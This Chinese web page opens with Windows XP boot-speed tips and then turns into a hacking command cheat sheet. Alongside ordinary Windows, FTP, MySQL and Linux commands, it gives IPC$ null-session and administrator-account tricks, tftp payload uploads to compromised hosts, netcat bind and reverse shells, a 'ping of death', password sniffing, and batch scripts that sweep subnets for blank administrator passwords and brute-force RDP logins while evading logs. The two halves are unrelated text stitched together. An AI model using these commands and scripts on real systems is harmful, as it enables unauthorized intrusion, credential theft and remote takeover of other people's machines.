　　有些安装了Windows XP专业版的电脑也会出现启动非常慢的问题，甚至达到了1分40秒之多！系统似乎死机了，登录系统后，桌面也不出现，电脑就像停止反应，1分钟后才能正常使用。这是由于使用了Bootvis.exe 程序后，其中的Mrxsmb.dll文件为电脑启动添加了67秒的时间！

　　要解决这个问题，只要停止共享文件夹和打印机即可：选择“开始→设置→网络和拨号连接”，右击“本地连接”，选择“属性”，在打开的窗口中取消“此连接使用下列选定的组件”下的“Microsoft网络的文件和打印机共享”前的复选框，重启电脑即可。

　　提示：微软已经对Bootvis．exe文件进行了多次升级，而且它确实对Windows XP的启动速度有很大帮助，建议大家到http //www．microsoft．com/whdc/hwdev/platform/performance/fastboot/default．mspx 下载该工具。

　　4．断开不用的网络驱动器

　　为了消除或减少 Windows 必须重新建立的网络连接数目，建议将一些不需要使用的网络驱动器断开，也就是进入“我的电脑”，右击已经建立映射的网络驱动器，选择“断开”即可。

　　5．硬盘分区太多也有错

　　如果你的Windows 2000没有升级到SP3或SP4，并且定义了太多的分区，那么也会使启动变得很漫长，甚至挂起。所以建议升级最新的SP4，同时最好不要为硬盘分太多的区。因为Windows 在启动时必须装载每个分区，随着分区数量的增多，完成此操作的时间总量也会不断增长。

　　6．桌面图标太多会惹祸

　　桌面上有太多图标也会降低系统启动速度。Windows每次启动并显示桌面时，都需要逐个查找桌面快捷方式的图标并加载它们，图标越多，所花费的时间当然就越多。建议大家将不常用的桌面图标放到一个专门的文件夹中或者干脆删除！

　　提示：有些杀毒软件提供了系统启动扫描功能，这将会耗费非常多的时间，其实如果你已经打开了杀毒软件的实时监视功能，那么启动时扫描系统就显得有些多余，还是将这项功能禁止吧！

　　7．字体过多也拖后腿

　　尽管微软声称Windows可以安装1000～1500种字体，但实际上我们却发现当安装的字体超过500 种时，就会出现问题，比如：字体从应用程序的字体列表中消失以及Windows的启动速度大幅下降。在此建议最好将用不到或者不常用的字体删除，为避免删除后发生意外，可先进行必要的备份。

　　8．微软自己起“内讧”

　　还记得Windows XP的某个补丁造成系统启动变慢的新闻吧(比如：代号为 Q328310的补丁会造成Windows 2000/XP启动和关机速度奇慢，甚至有可能导致注册表锁死)，可见微软自己内部出问题的可能性也不小，如果你在升级了某个系统补丁后，突然发现系统启动变慢，那么最好留意一下是不是补丁惹的祸。 

【1】 

net use \\ip\ipc$ " " /user:" " 建立IPC空链接 
net use \\ip\ipc$ "密码" /user:"用户名" 建立IPC非空链接 
net use h: \\ip\c$ "密码" /user:"用户名" 直接登陆后映射对方C：到本地为H: 
net use h: \\ip\c$ 登陆后映射对方C：到本地为H: 
net use \\ip\ipc$ /del 删除IPC链接 
net use h: /del 删除映射对方到本地的为H:的映射 
net user 用户名　密码　/add 建立用户 
net user guest /active:yes 激活guest用户 
net user 查看有哪些用户 
net user 帐户名 查看帐户的属性 
net localgroup ***istrators 用户名 /add 把“用户”添加到管理员中使其具有管理员权限,注意：***istrator后加s用复数 
net start 查看开启了哪些服务 
net start 服务名　 开启服务；(如:net start telnet， net start schedule) 
net stop 服务名 停止某服务 
net time \\目标ip 查看对方时间 
net time \\目标ip /set 设置本地计算机时间与“目标IP”主机的时间同步,加上参数/yes可取消确认信息 
net view 查看本地局域网内开启了哪些共享 
net view \\ip 查看对方局域网内开启了哪些共享 
net config 显示系统网络设置 
net logoff 断开连接的共享 
net pause 服务名 暂停某服务 
net send ip "文本信息" 向对方发信息 
net ver 局域网内正在使用的网络连接类型和信息 
net share 查看本地开启的共享 
net share ipc$ 开启ipc$共享 
net share ipc$ /del 删除ipc$共享 
net share c$ /del 删除C：共享 
net user guest 12345 用guest用户登陆后用将密码改为12345 
net password 密码 更改系统登陆密码 
netstat -a 查看开启了哪些端口,常用netstat -an 
netstat -n 查看端口的网络连接情况，常用netstat -an 
netstat -v 查看正在进行的工作 
netstat -p 协议名 例：netstat -p tcq/ip 查看某协议使用情况（查看tcp/ip协议使用情况） 
netstat -s 查看正在使用的所有协议使用情况 
nbtstat -A ip 对方136到139其中一个端口开了的话，就可查看对方最近登陆的用户名（03前的为用户名）-注意：参数-A要大写 
tracert -参数 ip(或计算机名) 跟踪路由（数据包），参数：“-w数字”用于设置超时间隔。 
ping ip(或域名) 向对方主机发送默认大小为32字节的数据，参数：“-l[空格]数据包大小”；“-n发送数据次数”；“-t”指一直ping。 
ping -t -l 65550 ip 死*之ping(发送大于64K的文件并一直ping就成了死*之ping) 
ipconfig (winipcfg) 用于windows NT及XP(windows 95 98)查看本地ip地址，ipconfig可用参数“/all”显示全部配置信息 
tlist -t 以树行列表显示进程(为系统的附加工具，默认是没有安装的，在安装目录的Support/tools文件夹内) 
kill -F 进程名 加-F参数后强制结束某进程(为系统的附加工具，默认是没有安装的，在安装目录的Support/tools文件夹内) 
del -F 文件名 加-F参数后就可删除只读文件,/AR、/AH、/AS、/AA分别表示删除只读、隐藏、系统、存档文件，/A-R、/A-H、/A-S、/A-A表示删除除只读、隐藏、系统、存档以外的文件。例如“DEL/AR *.*”表示删除当前目录下所有只读文件，“DEL/A-S *.*”表示删除当前目录下除系统文件以外的所有文件 

【2】 

del /S /Q 目录 或用：rmdir /s /Q 目录 /S删除目录及目录下的所有子目录和文件。同时使用参数/Q 可取消删除操作时的系统确认就直接删除。（二个命令作用相同） 
move 盘符\路径\要移动的文件名　存放移动文件的路径\移动后文件名 移动文件,用参数/y将取消确认移动目录存在相同文件的提示就直接覆盖 
fc one.*t two.*t > 3st.*t 对比二个文件并把不同之处输出到3st.*t文件中，"> "和"> >" 是重定向命令 
at id号 开启已注册的某个计划任务 
at /delete 停止所有计划任务，用参数/yes则不需要确认就直接停止 
at id号 /delete 停止某个已注册的计划任务 
at 查看所有的计划任务 
at \\ip time 程序名(或一个命令) /r 在某时间运行对方某程序并重新启动计算机 
finger username @host 查看最近有哪些用户登陆 
telnet ip 端口 远和登陆服务器,默认端口为23 
open ip 连接到IP（属telnet登陆后的命令） 
telnet 在本机上直接键入telnet 将进入本机的telnet 
copy 路径\文件名1　路径\文件名2 /y 复制文件1到指定的目录为文件2，用参数/y就同时取消确认你要改写一份现存目录文件 
copy c:\srv.exe \\ip\***$ 复制本地c:\srv.exe到对方的***下 
cppy 1st.jpg/b+2st.*t/a 3st.jpg 将2st.*t的内容藏身到1st.jpg中生成3st.jpg新的文件，注：2st.*t文件头要空三排，参数：/b指二进制文件，/a指ASCLL格式文件 
copy \\ip\***$\svv.exe c:\ 或:copy\\ip\***$\*.* 复制对方***i$共享下的srv.exe文件（所有文件）至本地C： 
xcopy 要复制的文件或目录树　目标地址\目录名 复制文件和目录树，用参数/Y将不提示覆盖相同文件 
tftp -i 自己IP(用肉机作跳板时这用肉机IP) get server.exe c:\server.exe 登陆后，将“IP”的server.exe下载到目标主机c:\server.exe 参数：-i指以二进制模式传送，如传送exe文件时用，如不加-i 则以ASCII模式（传送文本文件模式）进行传送 
tftp -i 对方IP　put c:\server.exe 登陆后，上传本地c:\server.exe至主机 
ftp ip 端口 用于上传文件至服务器或进行文件操作，默认端口为21。bin指用二进制方式传送（可执行文件进）；默认为ASCII格式传送(文本文件时) 
route print 显示出IP路由，将主要显示网络地址Network addres，子网掩码Netmask，网关地址Gateway addres，接口地址Interface 
arp 查看和处理ARP缓存，ARP是名字解析的意思，负责把一个IP解析成一个物理性的MAC地址。arp -a将显示出全部信息 
start 程序名或命令 /max 或/min 新开一个新窗口并最大化（最小化）运行某程序或命令 
mem 查看cpu使用情况 
attrib 文件名(目录名) 查看某文件（目录）的属性 
attrib 文件名 -A -R -S -H 或 +A +R +S +H 去掉(添加)某文件的 存档，只读，系统，隐藏 属性；用＋则是添加为某属性 
dir 查看文件，参数：/Q显示文件及目录属系统哪个用户，/T:C显示文件创建时间，/T:A显示文件上次被访问时间，/T:W上次被修改时间 
date /t 、 time /t 使用此参数即“DATE/T”、“TIME/T”将只显示当前日期和时间，而不必输入新日期和时间 
set 指定环境变量名称=要指派给变量的字符 设置环境变量 
set 显示当前所有的环境变量 
set p(或其它字符) 显示出当前以字符p(或其它字符)开头的所有环境变量 
pause 暂停批处理程序，并显示出：请按任意键继续.... 
if 在批处理程序中执行条件处理（更多说明见if命令及变量） 
goto 标签 将cmd.exe导向到批处理程序中带标签的行（标签必须单独一行，且以冒号打头，例如：“：start”标签） 
call 路径\批处理文件名 从批处理程序中调用另一个批处理程序 （更多说明见call /?） 
for 对一组文件中的每一个文件执行某个特定命令（更多说明见for命令及变量） 
echo on或off 打开或关闭echo，仅用echo不加参数则显示当前echo设置 
echo 信息 在屏幕上显示出信息 
echo 信息 >> pass.*t 将"信息"保存到pass.*t文件中 
findstr "Hello" aa.*t 在aa.*t文件中寻找字符串hello 
find 文件名 查找某文件 
title 标题名字 更改CMD窗口标题名字 
color 颜色值 设置cmd控制台前景和背景颜色；0＝黑、1＝蓝、2＝绿、3＝浅绿、4＝红、5＝紫、6＝黄、7=白、8=灰、9=淡蓝、A＝淡绿、B=淡浅绿、C=淡红、D=淡紫、E=淡黄、F=亮白 
prompt 名称 更改cmd.exe的显示的命令提示符(把C:\、D:\统一改为：EntSky\ ) 

【3】 

ver 在DOS窗口下显示版本信息 
winver 弹出一个窗口显示版本信息（内存大小、系统版本、补丁版本、计算机名） 
format 盘符 /FS:类型 格式化磁盘,类型:FAT、FAT32、NTFS ,例：Format D: /FS:NTFS 
md　目录名 创建目录 
replace 源文件　要替换文件的目录 替换文件 
ren 原文件名　新文件名 重命名文件名 
tree 以树形结构显示出目录，用参数-f 将列出第个文件夹中文件名称 
type 文件名 显示文本文件的内容 
more 文件名 逐屏显示输出文件 
doskey 要锁定的命令＝字符 
doskey 要解锁命令= 为DOS提供的锁定命令(编辑命令行，重新调用win2k命令，并创建宏)。如：锁定dir命令：doskey dir=entsky (不能用doskey dir=dir)；解锁：doskey dir= 
taskmgr 调出任务管理器 
chkdsk /F D: 检查磁盘D并显示状态报告；加参数/f并修复磁盘上的错误 
tlntadmn telnt服务admn,键入tlntadmn选择3，再选择8,就可以更改telnet服务默认端口23为其它任何端口 
exit 退出cmd.exe程序或目前，用参数/B则是退出当前批处理脚本而不是cmd.exe 
path 路径\可执行文件的文件名 为可执行文件设置一个路径。 
cmd 启动一个win2K命令解释窗口。参数：/eff、/en 关闭、开启命令扩展；更我详细说明见cmd /? 
regedit /s 注册表文件名 导入注册表；参数/S指安静模式导入，无任何提示； 
regedit /e 注册表文件名 导出注册表 
cacls 文件名　参数 显示或修改文件访问控制列表（ACL）——针对NTFS格式时。参数：/D 用户名:设定拒绝某用户访问；/P 用户名:perm 替换指定用户的访问权限；/G 用户名:perm 赋予指定用户访问权限；Perm 可以是: N 无，R 读取， W 写入， C 更改(写入)，F 完全控制；例：cacls D:\test.*t /D pub 设定d:\test.*t拒绝pub用户访问。 
cacls 文件名 查看文件的访问用户权限列表 
REM 文本内容 在批处理文件中添加注解 
netsh 查看或更改本地网络配置情况 

【4】 

IIS服务命令： 
iisreset /reboot 重启win2k计算机（但有提示系统将重启信息出现） 
iisreset /start或stop 启动（停止）所有Internet服务 
iisreset /restart 停止然后重新启动所有Internet服务 
iisreset /status 显示所有Internet服务状态 
iisreset /enable或disable 在本地系统上启用（禁用）Internet服务的重新启动 
iisreset /rebootonerror 当启动、停止或重新启动Internet服务时，若发生错误将重新开机 
iisreset /noforce 若无法停止Internet服务，将不会强制终止Internet服务 
iisreset /timeout Val在到达逾时间（秒）时，仍未停止Internet服务，若指定/rebootonerror参数，则电脑将会重新开机。预设值为重新启动20秒，停止60秒，重新开机0秒。 
FTP 命令： (后面有详细说明内容) 
ftp的命令行格式为: 
ftp －v －d －i －n －g[主机名] －v 显示远程服务器的所有响应信息。 
－d 使用调试方式。 
－n 限制ftp的自动登录,即不使用.netrc文件。 
－g 取消全局文件名。 
help [命令] 或 ？[命令] 查看命令说明 
bye 或 quit 终止主机FTP进程,并退出FTP管理方式. 
pwd 列出当前远端主机目录 
put 或 send 本地文件名 [上传到主机上的文件名] 将本地一个文件传送至远端主机中 
get 或 recv [远程主机文件名] [下载到本地后的文件名] 从远端主机中传送至本地主机中 
mget [remote-files] 从远端主机接收一批文件至本地主机 
mput local-files 将本地主机中一批文件传送至远端主机 
dir 或 ls [remote-directory] [local-file] 列出当前远端主机目录中的文件.如果有本地文件,就将结果写至本地文件 
ascii 设定以ASCII方式传送文件(缺省值) 
bin 或 image 设定以二进制方式传送文件 
bell 每完成一次文件传送,报警提示 
cdup 返回上一级目录 
close 中断与远程服务器的ftp会话(与open对应) 
open host[port] 建立指定ftp服务器连接,可指定连接端口 
delete 删除远端主机中的文件 
mdelete [remote-files] 删除一批文件 
mkdir directory-name 在远端主机中建立目录 
rename [from] [to] 改变远端主机中的文件名 
rmdir directory-name 删除远端主机中的目录 
status 显示当前FTP的状态 
system 显示远端主机系统类型 
user user-name [password] [account] 重新以别的用户名登录远端主机 
open host [port] 重新建立一个新的连接 
prompt 交互提示模式 
macdef 定义宏命令 
lcd 改变当前本地主机的工作目录,如果缺省,就转到当前用户的HOME目录 
chmod 改变远端主机的文件权限 
case 当为ON时,用MGET命令拷贝的文件名到本地机器中,全部转换为小写字母 
cd remote－dir 进入远程主机目录 
cdup 进入远程主机目录的父目录 
! 在本地机中执行交互shell，exit回到ftp环境,如!ls＊.zip 

【5】 

MYSQL 命令： 
mysql -h主机地址 -u用户名 －p密码 连接MYSQL;如果刚安装好MYSQL，超级用户root是没有密码的。 
（例：mysql -h110.110.110.110 -Uroot -P123456 
注:u与root可以不用加空格，其它也一样） 
exit 退出MYSQL 
mysql*** -u用户名 -p旧密码 password 新密码 修改密码 
grant select on 数据库.* to 用户名@登录主机 identified by \"密码\"; 增加新用户。（注意：和上面不同，下面的因为是MYSQL环境中的命令，所以后面都带一个分号作为命令结束符） 
show databases; 显示数据库列表。刚开始时才两个数据库：mysql和test。mysql库很重要它里面有MYSQL的系统信息，我们改密码和新增用户，实际上就是用这个库进行操作。 
use mysql； 
show tables; 显示库中的数据表 
describe 表名; 显示数据表的结构 
create database 库名; 建库 
use 库名； 
create table 表名 (字段设定列表)； 建表 
drop database 库名; 
drop table 表名； 删库和删表 
delete from 表名; 将表中记录清空 
select * from 表名; 显示表中的记录 
mysqldump --opt school>school.bbb 备份数据库：（命令在DOS的\\mysql\\bin目录下执行）;注释:将数据库school备份到school.bbb文件，school.bbb是一个文本文件，文件名任取，打开看看你会有新发现。 
win2003系统下新增命令（实用部份）： 
shutdown /参数 关闭或重启本地或远程主机。 
参数说明：/S 关闭主机，/R 重启主机， /T 数字 设定延时的时间，范围0～180秒之间， /A取消开机，/M //IP 指定的远程主机。 
例：shutdown /r /t 0 立即重启本地主机（无延时） 
taskill /参数 进程名或进程的pid 终止一个或多个任务和进程。 
参数说明：/PID 要终止进程的pid,可用tasklist命令获得各进程的pid，/IM 要终止的进程的进程名，/F 强制终止进程，/T 终止指定的进程及他所启动的子进程。 
tasklist 显示当前运行在本地和远程主机上的进程、服务、服务各进程的进程标识符(PID)。 
参数说明：/M 列出当前进程加载的dll文件，/SVC 显示出每个进程对应的服务，无参数时就只列出当前的进程。 

【6】 

Linux系统下基本命令： 要区分大小写 
uname 显示版本信息（同win2K的 ver） 
dir 显示当前目录文件,ls -al 显示包括隐藏文件（同win2K的 dir） 
pwd 查询当前所在的目录位置 
cd cd　..回到上一层目录，注意cd 与..之间有空格。cd　/返回到根目录。 
cat 文件名 查看文件内容 
cat >abc.*t 往abc.*t文件中写上内容。 
more 文件名 以一页一页的方式显示一个文本文件。 
cp 复制文件 
mv 移动文件 
rm 文件名 删除文件，rm -a 目录名删除目录及子目录 
mkdir 目录名 建立目录 
rmdir 删除子目录，目录内没有文档。 
chmod 设定档案或目录的存取权限 
grep 在档案中查找字符串 
diff 档案文件比较 
find 档案搜寻 
date 现在的日期、时间 
who 查询目前和你使用同一台机器的人以及Login时间地点 
w 查询目前上机者的详细资料 
whoami 查看自己的帐号名称 
groups 查看某人的Group 
passwd 更改密码 
history 查看自己下过的命令 
ps 显示进程状态 
kill 停止某进程 
gcc 黑客通常用它来编译C语言写的文件 
su 权限转换为指定使用者 
telnet IP telnet连接对方主机（同win2K），当出现bash$时就说明连接成功。 
ftp ftp连接上某服务器（同win2K） 

【附】批处理命令与变量 

1：for命令及变量 基本格式： 
FOR /参数 %variable IN (set) DO command [command_parameters] %variable:指定一个单一字母可替换的参数，如：%i ，而指定一个变量则用：%%i ，而调用变量时用：%i% ，变量是区分大小写的（%i 不等于 %I）。 
批处理每次能处理的变量从%0—%9共10个，其中%0默认给批处理文件名使用，%1默认为使用此批处理时输入的的第一个值，同理：%2—%9指输入的第2-9个值；例：net use \\ip\ipc$ pass /user:user 中ip为%1,pass为%2 ,user为%3 

(set):指定一个或一组文件，可使用通配符，如：(D:\user.*t)和(1 1 254)(1 -1 254),{ “(1 1 254)”第一个"1"指起始值，第二个"1"指增长量，第三个"254"指结束值，即：从1到254；“(1 -1 254)”说明：即从254到1 } 

command：指定对第个文件执行的命令，如：net use命令；如要执行多个命令时，命令这间加：& 来隔开 
command_parameters：为特定命令指定参数或命令行开关 

IN (set)：指在(set)中取值；DO command ：指执行command 

参数：/L 指用增量形式{ (set)为增量形式时 }；/F 指从文件中不断取值，直到取完为止{ (set)为文件时，如(d:\pass.*t)时 }。 
用法举例： 
@echo off 
echo 用法格式：test.bat *.*.* > test.*t 

for /L %%G in (1 1 254) do echo %1.%%G >>test.*t & net use \\%1.%%G /user:***istrator | find "命令成功完成" >>test.*t 
存为test.bat 说明：对指定的一个C类网段的254个IP依次试建立***istrator密码为空的IPC$连接，如果成功就把该IP存在test.*t中。 

/L指用增量形式（即从1-254或254-1）；输入的IP前面三位：*.*.*为批处理默认的 %1；%%G 为变量(ip的最后一位）；& 用来隔开echo 和net use 这二个命令；| 指建立了ipc$后，在结果中用find查看是否有"命令成功完成"信息；%1.%%G 为完整的IP地址；(1 1 254) 指起始值，增长量，结止值。 
@echo off 
echo 用法格式：ok.bat ip 
FOR /F %%i IN (D:\user.dic) DO smb.exe %1 %%i D:\pass.dic 200 
存为：ok.exe 说明：输入一个IP后，用字典文件d:\pass.dic来暴解d:\user.dic中的用户密码，直到文件中值取完为止。%%i为用户名；%1为输入的IP地址（默认）。http://www.jz5u.com 

【7】 

2：if命令及变量 基本格式： 
IF [not] errorlevel 数字 命令语句 如果程序运行最后返回一个等于或大于指定数字的退出编码，指定条件为“真”。 
例：IF errorlevel 0 命令 指程序执行后返回的值为0时，就值行后面的命令；IF not errorlevel 1 命令指程序执行最后返回的值不等于1，就执行后面的命令。 
0 指发现并成功执行（真）；1 指没有发现、没执行（假）。 
IF [not] 字符串1==字符串2 命令语句 如果指定的文本字符串匹配（即：字符串1 等于 字符串2），就执行后面的命令。 
例：“if "%2%"=="4" goto start”指：如果输入的第二个变量为4时，执行后面的命令（注意：调用变量时就%变量名%并加" "） 
IF [not] exist 文件名 命令语句 如果指定的文件名存在，就执行后面的命令。 
例：“if not nc.exe goto end”指：如果没有发现nc.exe文件就跳到":end"标签处。 
IF [not] errorlevel 数字 命令语句 else 命令语句或 IF [not] 字符串1==字符串2 命令语句 else 命令语句或 IF [not] exist 文件名 命令语句 else 命令语句 加上：else 命令语句后指：当前面的条件不成立时，就指行else后面的命令。注意：else 必须与 if 在同一行才有效。 当有del命令时需把del命令全部内容用< >括起来，因为del命令要单独一行时才能执行，用上< >后就等于是单独一行了；例如：“if exist test.*t. <del test.*t.> else echo test.*t.missing ”，注意命令中的“.” 

（二）【系统外部命令(均需下载相关工具)】 

1、瑞士军刀：nc.exe 

参数说明： 
-h 查看帮助信息 
-d 后台模式 
-e prog程序重定向，一但连接就执行［危险］ 
-i secs延时的间隔 
-l 监听模式，用于入站连接 
-L 监听模式，连接天闭后仍然继续监听，直到CTR+C 
-n IP地址，不能用域名 
-o film记录16进制的传输 
-p[空格]端口 本地端口号 
-r 随机本地及远程端口 
-t 使用Telnet交互方式 
-u UDP模式 
-v 详细输出，用-vv将更详细 
-w数字 timeout延时间隔 
-z 将输入，输出关掉（用于扫锚时） 
基本用法： 
nc -nvv 192.168.0.1 80 连接到192.168.0.1主机的80端口 
nc -l -p 80 开启本机的TCP 80端口并监听 
nc -nvv -w2 -z 192.168.0.1 80-1024 扫锚192.168.0.1的80-1024端口 
nc -l -p 5354 -t -e c:winntsystem32cmd.exe 绑定remote主机的cmdshell在remote的TCP 5354端口 
nc -t -e c:winntsystem32cmd.exe 192.168.0.2 5354 梆定remote主机的cmdshell并反向连接192.168.0.2的5354端口 
高级用法： 
nc -L -p 80 作为蜜罐用1：开启并不停地监听80端口，直到CTR+C为止 
nc -L -p 80 > c:\log.*t 作为蜜罐用2：开启并不停地监听80端口，直到CTR+C,同时把结果输出到c:\log.*t 
nc -L -p 80 < c:\honeyport.*t 作为蜜罐用3-1：开启并不停地监听80端口，直到CTR+C,并把c:\honeyport.*t中内容送入管道中，亦可起到传送文件作用 
type.exe c:\honeyport | nc -L -p 80 作为蜜罐用3-2：开启并不停地监听80端口，直到CTR+C,并把c:\honeyport.*t中内容送入管道中,亦可起到传送文件作用 
本机上用：nc -l -p 本机端口 
在对方主机上用：nc -e cmd.exe 本机IP -p 本机端口 *win2K 
nc -e /bin/sh 本机IP -p 本机端口 *linux,unix 反向连接突破对方主机的防火墙 
本机上用：nc -d -l -p 本机端口 < 要传送的文件路径及名称 
在对方主机上用：nc -vv 本机IP 本机端口 > 存放文件的路径及名称 传送文件到对方主机 
备 注： 
| 管道命令 
< 或 > 重定向命令。“<”，例如：tlntadmn < test.*t 指把test.*t的内容赋值给tlntadmn命令 
＠ 表示执行＠后面的命令，但不会显示出来（后台执行）；例：＠dir c:\winnt >> d:\log.*t 意思是：后台执行dir，并把结果存在d:\log.*t中 
>与>>的区别 　">"指：覆盖；">>"指：保存到(添加到）。 
如：@dir c:\winnt >> d:\log.*t和@dir c:\winnt > d:\log.*t二个命令分别执行二次比较看：用>>的则是把二次的结果都保存了，而用：>则只有一次的结果，是因为第二次的结果把第一次的覆盖了。 

【8】 

2、扫锚工具：xscan.exe 

基本格式 
xscan -host <起始IP>[-<终止IP>] <检测项目> [其他选项] 扫锚"起始IP到终止IP"段的所有主机信息 
xscan -file <主机列表文件名> <检测项目> [其他选项] 扫锚"主机IP列表文件名"中的所有主机信息 
检测项目 
-active 检测主机是否存活 
-os 检测远程操作系统类型（通过NETBIOS和SNMP协议） 
-port 检测常用服务的端口状态 
-ftp 检测FTP弱口令 
-pub 检测FTP服务匿名用户写权限 
-pop3 检测POP3-Server弱口令 
-smtp 检测SMTP-Server漏洞 
-sql 检测SQL-Server弱口令 
-smb 检测NT-Server弱口令 
-iis 检测IIS编码/解码漏洞 
-cgi 检测CGI漏洞 
-nasl 加载Nessus攻击脚本 
-all 检测以上所有项目 
其它选项 
-i 适配器编号 设置网络适配器, <适配器编号>可通过"-l"参数获取 
-l 显示所有网络适配器 
-v 显示详细扫描进度 
-p 跳过没有响应的主机 
-o 跳过没有检测到开放端口的主机 
　 -t 并发线程数量,并发主机数量 指定最大并发线程数量和并发主机数量, 默认数量为100,10 
-log 文件名 指定扫描报告文件名 (后缀为：TXT或HTML格式的文件) 
用法示例 
xscan -host 192.168.1.1-192.168.255.255 -all -active -p　 检测192.168.1.1-192.168.255.255网段内主机的所有漏洞，跳过无响应的主机 
xscan -host 192.168.1.1-192.168.255.255 -port -smb -t 150 -o 检测192.168.1.1-192.168.255.255网段内主机的标准端口状态，NT弱口令用户，最大并发线程数量为150，跳过没有检测到开放端口的主机 
xscan -file hostlist.*t -port -cgi -t 200,5 -v -o 检测“hostlist.*t”文件中列出的所有主机的标准端口状态，CGI漏洞，最大并发线程数量为200，同一时刻最多检测5台主机，显示详细检测进度，跳过没有检测到开放端口的主机www.jz5u.com 

【9】 

3、命令行方式嗅探器: xsniff.exe 
可捕获局域网内FTP/SMTP/POP3/HTTP协议密码 
参数说明 
-tcp 输出TCP数据报 
-udp 输出UDP数据报 
-icmp 输出ICMP数据报 
-pass 过滤密码信息 
-hide 后台运行 
-host 解析主机名 
-addr IP地址 过滤IP地址 
-port 端口 过滤端口 
-log 文件名 将输出保存到文件 
-asc 以ASCII形式输出 
-hex 以16进制形式输出 
用法示例 
xsniff.exe -pass -hide -log pass.log 后台运行嗅探密码并将密码信息保存在pass.log文件中 
xsniff.exe -tcp -udp -asc -addr 192.168.1.1 嗅探192.168.1.1并过滤tcp和udp信息并以ASCII格式输出 

4、终端服务密码破解: tscrack.exe 

参数说明 
-h 显示使用帮助 
-v 显示版本信息 
-s 在屏幕上打出解密能力 
-b 密码错误时发出的声音 
-t 同是发出多个连接（多线程） 
-N Prevent System Log entries on targeted server 
-U 卸载移除tscrack组件 
-f 使用－f后面的密码 
-F 间隔时间（频率） 
-l 使用－l后面的用户名 
-w 使用－w后面的密码字典 
-p 使用－p后面的密码 
-D 登录主页面 
用法示例 
tscrack 192.168.0.1 -l ***istrator -w pass.dic 远程用密码字典文件暴破主机的***istrator的登陆密码 
tscrack 192.168.0.1 -l ***istrator -p 123456 用密码123456远程登陆192.168.0.1的***istrator用户 
@if not exist ipcscan.*t goto noscan 
@for /f "tokens=1 delims= " %%i in (3389.*t) do call hack.bat %%i 
nscan 
@echo 3389.*t no find or scan faild 
(①存为3389.bat) （假设现有用SuperScan或其它扫锚器扫到一批开有3389的主机IP列表文件3389.*t) 
3389.bat意思是：从3389.*t文件中取一个IP，接着运行hack.bat 
@if not exist tscrack.exe goto noscan 
@tscrack %1 -l ***istrator -w pass.dic >>rouji.*t 
:noscan 
@echo tscrack.exe no find or scan faild 
(②存为hack.bat) (运行3389.bat就OK，且3389.bat、hack.bat、3389.*t、pass.dic与tscrack.exe在同一个目录下；就可以等待结果了) 
hack.bat意思是：运行tscrack.exe用字典暴破3389.*t中所有主机的***istrator密码，并将破解结果保存在rouji.*t文件中。 

5、其它： 

Shutdown.exe 
Shutdown \\IP地址 t:20 20秒后将对方NT自动关闭（Windows 2003系统自带工具，在Windows2000下用进就得下载此工具才能用。在前面Windows 2003 DOS命令中有详细介绍。） 
fpipe.exe (TCP端口重定向工具) 在第二篇中有详细说明（端口重定向绕过防火墙） 
fpipe -l 80 -s 1029 -r 80 www.sina.com.cn 当有人扫锚你的80端口时，他扫到的结果会完全是www.sina.com.cn的主机信息 
Fpipe -l 23 -s 88 -r 23 目标IP 把本机向目标IP发送的23端口Telnet请求经端口重定向后，就通过88端口发送到目标IP的23端口。（与目标IP建立Telnet时本机就用的88端口与其相连接）然后：直接Telnet 127.0.0.1（本机IP）就连接到目标IP的23端口了。 
OpenTelnet.exe (远程开启telnet工具) 
opentelnet.exe \\IP 帐号　密码　ntlm认证方式　Telnet端口 （不需要上传ntlm.exe破坏微软的身份验证方式）直接远程开启对方的telnet服务后，就可用telnet \\ip 连接上对方。 
NTLM认证方式：０：不使用NTLM身份验证；１：先尝试NTLM身份验证，如果失败，再使用用户名和密码；２：只使用NTLM身份验证。 

ResumeTelnet.exe (OpenTelnet附带的另一个工具) 
resumetelnet.exe \\IP　帐号　密码 用Telnet连接完对方后，就用这个命令将对方的Telnet设置还原，并同时关闭Telnet服务。 

【10】 

6、FTP命令详解： 

FTP命令是Internet用户使用最频繁的命令之一，熟悉并灵活应用FTP的内部命令，可以大大方便使用者，并收到事半功倍之效。如果你想学习使用进行后台FTP下载，那么就必须学习FTP指令。 

FTP的命令行格式为： 
ftp -v -d -i -n -g [主机名] ，其中 

-v 显示远程服务器的所有响应信息； 

-n 限制ftp的自动登录，即不使用；.n etrc文件； 

-d 使用调试方式； 

-g 取消全局文件名。 

FTP使用的内部命令如下(中括号表示可选项): 

1.![cmd[args]]：在本地机中执行交互shell，exit回到ftp环境，如：!ls*.zip 
2.$ macro-ame[args]： 执行宏定义macro-name。 

3.account[password]： 提供登录远程系统成功后访问系统资源所需的补充口令。 
4.append local-file[remote-file]：将本地文件追加到远程系统主机，若未指定远程系统文件名，则使用本地文件名。 

5.ascii：使用ascii类型传输方式。 
6.bell：每个命令执行完毕后计算机响铃一次。 

7.bin：使用二进制文件传输方式。 
8.bye：退出ftp会话过程。 

9.case：在使用mget时，将远程主机文件名中的大写转为小写字母。 
10.cd remote-dir：进入远程主机目录。 

11.cdup：进入远程主机目录的父目录。 
12.chmod mode file-name：将远程主机文件file-name的存取方式设置为mode，如：chmod 777 a.out。 

13.close：中断与远程服务器的ftp会话(与open对应)。 
14.cr：使用asscii方式传输文件时，将回车换行转换为回行。 

15.delete remote-file：删除远程主机文件。 
16.debug[debug-value]：设置调试方式， 显示发送至远程主机的每条命令，如：deb up 3，若设为0，表示取消debug。 

17.dir[remote-dir][local-file]：显示远程主机目录，并将结果存入本地文件。 
18.disconnection：同close。 

19.form format：将文件传输方式设置为format，缺省为file方式。 
20.get remote-file[local-file]： 将远程主机的文件remote-file传至本地硬盘的local-file。 

21.glob：设置mdelete，mget，mput的文件名扩展，缺省时不扩展文件名，同命令行的-g参数。 
22.hash：每传输1024字节，显示一个hash符号(#)。 

23.help[cmd]：显示ftp内部命令cmd的帮助信息，如：help get。 
24.idle[seconds]：将远程服务器的休眠计时器设为[seconds]秒。 

25.image：设置二进制传输方式(同binary)。 
26.lcd[dir]：将本地工作目录切换至dir。 

27.ls[remote-dir][local-file]：显示远程目录remote-dir， 并存入本地文件local-file。 
28.macdef macro-name：定义一个宏，遇到macdef下的空行时，宏定义结束。 

29.mdelete[remote-file]：删除远程主机文件。 
30.mdir remote-files local-file：与dir类似，但可指定多个远程文件，如 ：mdir *.o.*.zipoutfile 。 

31.mget remote-files：传输多个远程文件。 
32.mkdir dir-name：在远程主机中建一目录。 

33.mls remote-file local-file：同nlist，但可指定多个文件名。 
34.mode[modename]：将文件传输方式设置为modename， 缺省为stream方式。 

